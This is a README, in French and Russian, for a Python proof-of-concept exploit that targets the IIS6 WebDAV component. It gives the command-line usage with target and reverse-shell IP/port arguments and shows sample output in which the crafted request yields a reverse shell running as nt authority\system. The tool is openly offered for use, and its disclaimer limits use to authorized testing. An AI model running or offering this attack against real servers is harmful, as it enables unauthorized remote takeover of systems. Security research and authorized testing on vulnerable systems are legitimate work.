EN

GenWebDavIISExploit est un outil de preuve de concept (PoC) démontrant l'exploitation d'une vulnérabilité connue dans le composant WebDAV d'IIS6. Cet outil est conçu à des fins éducatives et de recherche pour montrer comment la vulnérabilité peut être utilisée pour exécuter du code arbitraire sur un serveur distant.

Avertissement

Ce projet est destiné uniquement à des fins éducatives. Utilisez cet outil de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.

Fonctionnalités

• Exécution de code à distance sur des serveurs IIS6 WebDAV vulnérables.
• Génération dynamique de payload avec IP et port de reverse spécifiés par l'utilisateur.
• Interface en ligne de commande simple pour une exploitation rapide.

Prérequis

• Python 3.x : Assurez-vous que Python 3 est installé sur votre système.
• Accès réseau : Capacité à se connecter à l'IP et au port de la machine cible.

Utilisation

Arguments de la ligne de commande

• Target IP : L'adresse IP du serveur IIS6 WebDAV cible.
• Target Port : Le numéro de port sur lequel le service WebDAV est en cours d'exécution (généralement 80).
• Reverse IP : Votre adresse IP vers laquelle le shell inversé doit se connecter.
• Reverse Port : Le numéro de port sur votre système pour recevoir le shell inversé.

Exemple

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Exemple d'utilisation

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Exemple de sortie

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1
    

Remarques

• Assurez-vous d'avoir un écouteur en cours d'exécution sur le port inverse spécifié pour capturer le shell inversé entrant.
• Utilisez cet outil uniquement sur des systèmes autorisés pour tester les vulnérabilités.

RU

GenWebDavIISExploit - это PoC-инструмент, демонстрирующий эксплуатацию известной уязвимости в компоненте WebDAV на IIS6. Этот инструмент создан в образовательных и исследовательских целях, чтобы показать, как уязвимость может быть использована для выполнения произвольного кода на удаленном сервере.

Отказ от ответственности

Этот проект предназначен только для образовательных целей. Используйте этот инструмент ответственно и только на системах, которые вы владеете или имеете явное разрешение для тестирования. Несанкционированный доступ к компьютерным системам является незаконным.

Особенности

• Выполнение удаленного кода на уязвимых серверах IIS6 WebDAV.
• Генерация динамического полезного кода с указанием IP и порта для обратного соединения.
• Простой интерфейс командной строки для быстрого использования.

Требования

• Python 3.x: Убедитесь, что у вас установлен Python 3.
• Доступ к сети: Возможность подключаться к IP-адресу и порту целевой машины.

Использование

Аргументы командной строки

• Target IP: IP-адрес целевого сервера IIS6 WebDAV.
• Target Port: Номер порта, на котором работает служба WebDAV (обычно 80).
• Reverse IP: Ваш IP-адрес, на который должно быть установлено обратное соединение.
• Reverse Port: Номер порта на вашей системе для получения обратного соединения.

Пример

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Пример использования

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Пример вывода

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1
    

Заметки

• Убедитесь, что у вас запущен прослушиватель на указанном обратном порту для перехвата входящего обратного соединения.
• Используйте этот инструмент только на авторизованных системах для проверки на наличие уязвимостей.